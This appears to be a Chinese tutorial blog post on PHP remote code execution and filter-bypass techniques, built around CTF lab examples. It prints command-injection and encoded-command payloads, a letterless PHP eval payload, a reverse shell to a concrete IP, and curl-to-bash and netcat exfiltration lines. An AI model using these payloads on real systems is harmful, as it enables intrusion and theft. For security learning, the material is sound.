RCE漏洞基础以及绕过

news/2025/11/4 16:15:56/文章来源:https://www.cnblogs.com/rycarl/p/19190572

what is RCE?

  • 目标:攻击者通过构造恶意输入或请求,绕过系统安全机制,在目标服务器或应用程序中注入并执行代码。
  • 本质:系统未对用户输入进行充分验证或过滤,导致攻击者能将恶意代码传递到执行环境中。

常见可以被利用的php函数

system()    # 语法 : system(string $command, int &$result_code = null)eval()        #语法:eval(string $code) 把字符串作为PHP代码执行passthru() #语法:passthru(string $command, int &$result_code = null)exec()         #语法:exec(string $command, array &$output = null, int &$result_code = null)shell_exec() #语法:shell_exec(string $command),通过 shell 执行命令并将完整的输出以字符串的方式返回popen()         #popen(string $command, string $mode),打开指向进程的管道,进程由派生给定的 command 命令执行产生。proc_open()     #比popen更加灵活pcntl_exec()    #bool pcntl_exec(string $path, array $args = null, array $env = null)

warnings:system不需要提供\(output函数,他是直接把结果返回出来,同样\)return_var是执行的状态码

而exec函数需要提供$output函数才能,且返回的数据是array类型

shell_exec则与exec类似

常见存在RCE漏洞的场景

常见触发场景

  • 用户输入未过滤:例如通过 HTTP 参数、表单、文件上传等传递恶意代码。
  • 反序列化漏洞:应用程序在反序列化数据时未验证数据合法性,导致恶意代码执行。
  • 命令拼接漏洞:代码中直接拼接用户输入到系统命令(如 system("ping " + user_input))。
  • 第三方组件漏洞:依赖的库或框架存在已知漏洞(如 Log4j 的 Log4Shell 漏洞,hoverfly的远程代码执行,CVE-2025-24813 RCE复现-CSDN博客)。
  • 模板注入(Template Injection):用户输入被嵌入动态模板引擎,导致模板解析时执行任意代码。

(本次不做讲解)

  • 文件包含漏洞(File Inclusion)

示例:(pikachu靶场)

//通过用户输入拼接系统命令
$ip = $_GET['ip'];
system("ping " . $ip);    //输入127.0.0.1&&whoami

这里输入payload:

127.0.0.1&&whoami

出现了以下回显

此类问题进行命令拼接的方式基本相同,我们可以多试几种命令拼接的方式,下面列出一些常见的拼接方式:

1. 使用分号 (;) 分隔命令

  • 分号用于分隔多个命令,这些命令会按顺序依次执行,无论前一个命令是否成功。
command1; command2; command3

2. 使用逻辑与 (&&) 和逻辑或 (||)

  • 逻辑与 (&&):只有当左边的命令成功执行(返回状态码为 0)时,才会执行右边的命令。
  command1 && command2

示例

  mkdir testdir && cd testdir
  • 如果 mkdir testdir 成功执行,才会执行 cd testdir
  • 逻辑或 (||):只有当左边的命令执行失败(返回状态码非 0)时,才会执行右边的命令。
  command1 || command2

示例

  ping -c 1 example.com || echo "Ping failed"
  • 如果 ping 命令失败,才会输出 “Ping failed”。 反引号(`)
  command1 `command2`

示例

  echo "Current directory is `pwd`"

7. 使用命令替换

命令替换会将命令的输出替换到当前命令中。

$( ... )command1 $(command2) 示例echo "Current directory is $(pwd)"

防护

  1. 禁用高危函数。
  2. 严格过滤特殊字符:黑白名单。
  3. 开启safe_mode

绕过防护手段

过滤空格

  • 大括号代替:{cat,/flag}等效于cat /flag
  • $IFS${IFS}$IFS$9
拓展:$IFS在linux下的作用

$IFS 是 Linux Shell 中的一个特殊环境变量,称为内部字段分隔符(Internal Field Separator)。它用于定义 Shell 在解析字符串时用作分隔符的字符集。

$IFS 的默认值是空格、制表符(Tab)和换行符(Newline)。这意味着当 Shell 遇到这些字符时,会将字符串分割成多个字段。
作用

$IFS 在以下场景中非常重要:

命令行参数解析:当 Shell 执行命令或脚本时,会根据 $IFS 的值将输入的字符串分割成多个参数。

文件内容处理:在读取文件内容时,$IFS 决定了如何将文件中的数据分割成字段。

循环遍历:在 for 循环中,$IFS 决定了如何将变量值分割成多个元素。

  • 重定向<cat<flag
  • URL编码:%09(tab的url编码)、%20

过滤关键命令或者关键词

1.过滤flag

  • 通配符绕过:
  • ?:代表单个字符。
  • * :模糊匹配,代表任意字符串。 如:cat fla*或者cat fla?
  • 或者用反斜线绕过

如:cat fla\g

  • 单引号或者双引号绕过 如cat f''lag或者cat f''l''a''g

2.过滤cat

  • 用类似命令代替
tac:反向查看。more:逐页显示文档。less:逐页显示文档。tail:查看末尾几行。nl:带行号显示。od:二进制读取。xxd:二进制读取。sort:排序文件。uniq:报错相关。file -f:报错相关。#passthru("file -f /flag");grep str file:在file中读取str

其他绕过方式

  • base64编码:举例如下:
`echo Y2F0IC9mbGFn | base64 -d | bash` #最终执行`cat /flag`。
`$(echo Y2F0IC9mbGFn | base64 -d)` # 效果相同。

上面也可以用其他编码方式,这次举例只用了base64

如hex编码:

echo "636174202F6574632F706173737764" | xxd -r -p|bash      #利用管道符将前面输出作为了后面的输入

以及反斜线和单引号,以及双引号

如ca\t flag以及ca''t f''la''g均可以

  • 利用未赋值变量绕过
$*和$@,$x(x 代表 1-9),${x}(x>=10) 
#比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
  • 拼接绕过

之前我们讲过,eval函数会将字符串当作php命令执行,我们可以利用拼接的方式构造出我们想要的字符串

如:

eval('(sy.(st).em)(whoami);');

长度过滤绕过

  • 对命令长度有限制时,通过 > 将命令一点点写入文件(使用 \ 连接换行命令),再用 ls -t按时间排列文件配合 > 写入同一个文件,最后使用 .sh 运行文件内容组成的命令。

如:

echo 'cat'>1.sh

echo ' /flag'>1.sh

sh 1.sh

  • 限制长度更小时,将ls -t>a命令也构造到文件中,可以一个个写入文件中,避免使用过长的命令,被运行的文件名使用_

如:

>ag
>fl\\
>'t \\'
>ca\\
ls -t >1.sh
sh 1.sh
  • 限制长度很小时,需要根据字母表顺序构造命令参数等内容。
  • 常用命令(举例,要开启ip 的监听)
  • curl ip | bash :在ipindex文件中写入反弹shell相关内容,如nc ip port -e /bin/bash
  • cat/flag | nc ip port 过滤目录分割符 拼接多条指令,如:
  127.0.0.1;cd flag;cat flag.txt

目前实战中更多是针对php的代码执行漏洞,大致分为人为制造漏洞,或者利用已知php架构的cms的漏洞

1.人为制造:多为传入参数,绕过指定函数的判断后执行命令

如:example1

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow)) {if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();}
}
?>

(这道题过滤了数字和字母,需要用到变量自增)

分析正则表达式可知过滤了以下的字符:

  • [a-zA-Z0-9]:匹配所有英文字母(大小写)和数字。
  • @#%^&\*:{}\-<\?>\"|:匹配这些特殊符号,包括:
  • @#%^&*:{}-<>?"|
  • ~\\:匹配波浪号~和反斜杠\

最后经过变量自增以及拼接后最后的payload如图所示:

$_=''.[];                #PHP 在尝试将数组与字符串进行拼接时,会将数组强制转换为字符串 "Array"。所以$_=Array
$_=$_['_'];                #尝试访问字符串 "Array" 键为 _ 的值,当从字符串中访问不存在的键时,PHP 返回字符串的第一个字符。
$_++;                    #自增
$_++;
$_++;                    #$_=D
$__=++$_;                #$_=E;$__=E
$_++;                    #$__=F
$___=++$_;                
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;      #经一系列的自增以及拼接后$_最后为_GET
$$_[_]($$_[__]);         #最后得到$_GET[_]($GET[__]);
#结合get传参----get:?_=system&__=cat /f*;

example2 CTFHUB综合过滤

这道题过滤了/,,cat,flag.,;,||,&&等

这里我们可以用%0a(回车的url编码)进行命令拼接,通配符*代替flag,more代替cat,${IFS}或者%09代替空格

最终的payload

127.0.0.1%0acd%09flag_is_here%0amore%09flag.txt

2.已知cms漏洞:如thinkphp漏洞Think PHP漏洞总结(全系列) - lingzhi_sec - 博客园

​ 以及dedecms(织梦cms)织梦cms前端RCE,织梦cms存在ssti导致RCE漏洞

例题:XCTF thinkphpV5,RCE漏洞复现攻防世界

example3

PHP伪协议文件包含实现RCE

常见伪协议(这里不展开细讲)

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

这里我们使用php伪协议包含进shell.txt,从而实现RCE

无回显RCE #(no_echo.php)

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {die("where is P3rh4ps's girl friend ???");
} else {$girl = $_POST['girl_friend'];if (preg_match('/\>|\\\/', $girl)) {die('just girl');} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";} else {//duangShell~~~~exec($girl);}
}

思路1.反弹shell

/index.php?ip=127.0.0.1;sh -i >& /dev/tcp/114.132.166.145/6666 0>&1

​ 2.dnslog外带数据法

/index.php?ip=127.0.0.1;sh -i >& /dev/tcp/114.132.166.145/6666 0>&1

​ 3.使用sleep函数(类似布尔盲注)

example5

php伪协议加CVE组合拳

CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行(RCE)_cve-2024-2961复现-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/955800.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详细介绍:数据结构:树

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

SQL注入基础及绕过手段

SQL注入是什么 简单来说SQL注入,就是将攻击者输入的恶意代码被传到后端与SQL语句一起构造并在数据库中执行 通过不同的手段,SQL注入可以分为一下几类select * from article where artid = 1 and xxxxx; 首先我们来看…

WPF实现组件拖动(Grid)

xaml: <Window x:Class="WpfApp3Test.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/200…

关于嵌入式硬件需要了解的基础知识 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

api测试

这是一个用于测试的博客,发布后会马上删除,如果你看到这个信息,请忽略

spring-boot-actuator-Health原理

说明 在容器化部署下,如何判断服务是否健康通过 curl 127.0.0.1:8080/actuator/health检查 是否是健康状态 使用示例以sentinel为例 实现抽象类public class SentinelHealthIndicator extends AbstractHealthIndicat…

2025年广州防霉检测机构权威推荐榜单:除螨检测/除臭效果测试/输配水设备检测源头机构精选

防霉检测市场正迎来质量与技术双重升级,据行业数据显示,2025年中国防霉检测市场规模预计突破15亿元,年增长率稳定在12% 以上。 在消费品质量与安全要求日益提高的背景下,防霉检测已成为家居、建材、纺织、电子电器…

2025年钣金机箱外壳加工厂家权威推荐榜单:钣金壳体/变频器钣金壳体/钣金加工壳体源头厂家精选

在工业制造智能化转型的推动下,钣金机箱外壳加工作为装备制造的基础环节,市场需求持续增长。据2025年行业统计数据显示,中国钣金加工市场规模已突破4200亿元,年均增长率保持在12%以上。 随着新能源、通信、自动化等…

从零到一:我的开源AI商业化实战之路

今天我想分享使用三种主流开源方案实现商业变现的真实经历,希望能为正在探索AI商业化的你提供一些参考。从零到一:我的开源AI商业化实战之路 缘起:技术人的迷思 曾经,我也坚信"技术越厉害,赚钱越容易"。…

机器学习 BASEML到底是什么

from .base import baseml from .BaseClassification import Classification from .BaseRegression import Regression from .BaseCluster import Cluster from .BaseDimentionReduction import DimentionReduction__a…

体育馆游泳卡押金原路退回,安心无忧—东方仙盟 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

DesignSpark Mechanical (DSM)输入用户名密码提示在注册过程中发生错误

前言全局说明输入用户名密码提示“注册过程中发生错误”一、说明 1.1 环境: Windows 11 家庭版 24H2 26100.4061 Designspark Mechanical 6.0.3二、问题 一直可以用 DSM 都很正常,最近换了电脑,需要登录,输入用户名…

字段(辨析:字段、对象、属性和方法在 JavaScript 中的关系)

1. 对象 (Object) :名词,实体,是一个具体的实体,它是属性和方法的集合。它就是一个“东西”。 2. 属性 (Property) :形容词,状态,是描述对象状态或特征的值。它回答的是对象“是什么”或“有什么”的问题。属性…

P14364 [CSP-S 2025] 员工招聘 / employ 笔记

考完这次 CSP 真正的感受到了自己的弱小,「努力」了大半年,面对正赛题解还是跟读天书一样,什么都看不懂,文化课成绩倒是步步低降了。 我该在哪里停留?我问我自己。设最终的排列是 \(p_{1\dots n}\),\([1,i)\) 拒…

Spring boot 使用虚拟线程示例

项目使用版本Spring Boot v3.5.6 jdk 25配置 创建 VirtualThreadConfig 配置类 @Configuration @EnableAsync public class VirtualThreadConfig {@Bean(name = "virtualThreadExecutor")public TaskExecuto…

微算法科技(NASDAQ MLGO):以隐私计算区块链筑牢多方安全计算(MPC)安全防线

在数据价值日益凸显的当下,数据的流通与融合成为释放其潜力的关键。多方安全计算(MPC)作为隐私计算的核心技术,使参与方能够在不泄露原始数据的情况下协同完成计算任务,为数据的跨主体合作利用提供了可能。然而,…

怎么把idea的目录结构,以文本形式输出?——idea使用tree

1.在 idea 中的 Terminal 终端输入:tree或者tree -f如果想要保存到文件,例如保存到 C 盘tree >> C:/codeTree.txtwidown 系統下tree /f >> C:/codeTree.txt参数说明:-a 显示所有文件和目录。 -A 使用A…

2025年11月沼气直燃厂家综合评测:徐州海德测控技术有限公司领跑

2025年11月沼气直燃厂家综合评测:徐州海德测控技术有限公司领跑 文章摘要 本文深入分析2025年沼气直燃设备市场格局,对行业前十品牌进行全方位评测。徐州海德测控技术有限公司凭借卓越的技术实力、严格的质量管控体系…

微信小程序初始配置

1、设置AppSecret,将AppID、AppSecret配置到代码验证用2、配置服务器域名3、设置业务域名、需要在站点底下文件验证

python爬虫scrapy框架使用 - 教程

python爬虫scrapy框架使用 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&q…